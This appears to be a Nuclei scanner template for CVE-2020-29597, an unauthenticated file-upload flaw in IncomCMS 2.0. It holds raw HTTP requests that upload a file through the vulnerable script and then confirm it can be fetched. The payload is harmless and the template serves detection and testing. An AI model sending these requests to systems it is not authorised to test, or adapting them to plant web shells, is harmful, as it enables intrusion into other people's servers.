46 lines
1.5 KiB
YAML
46 lines
1.5 KiB
YAML
id: CVE-2020-29597
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info:
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name: IncomCMS 2.0 - Arbitary files upload
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author: princechaddha
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severity: critical
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description: |
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IncomCMS 2.0 has a modules/uploader/showcase/script.php insecure file upload vulnerability. This vulnerability allows unauthenticated attackers to upload files into the server.
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reference:
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- https://github.com/Trhackno/CVE-2020-29597
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- https://nvd.nist.gov/vuln/detail/CVE-2020-29597
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- https://github.com/M4DM0e/m4dm0e.github.io/blob/gh-pages/_posts/2020-12-07-incom-insecure-up.md
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- https://m4dm0e.github.io/2020/12/07/incom-insecure-up.html
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 9.8
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cve-id: CVE-2020-29597
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cwe-id: CWE-434
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metadata:
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verified: "true"
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tags: cve,cve2020,incomcms,fileupload,intrusive
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requests:
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- raw:
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- |
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POST /incom/modules/uploader/showcase/script.php HTTP/1.1
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Host: {{Hostname}}
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Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryBEJZt0IK73M2mAbt
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------WebKitFormBoundaryBEJZt0IK73M2mAbt
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Content-Disposition: form-data; name="Filedata"; filename="{{randstr}}.png"
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Content-Type: image/png
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------WebKitFormBoundaryBEJZt0IK73M2mAbt--
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- |
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GET /upload/userfiles/image/{{randstr}}.png HTTP/1.1
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Host: {{Hostname}}
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req-condition: true
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matchers:
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- type: dsl
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dsl:
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- contains(body_1, '\"name\":\"{{randstr}}.png\"')
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- status_code_2 == 200
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condition: and
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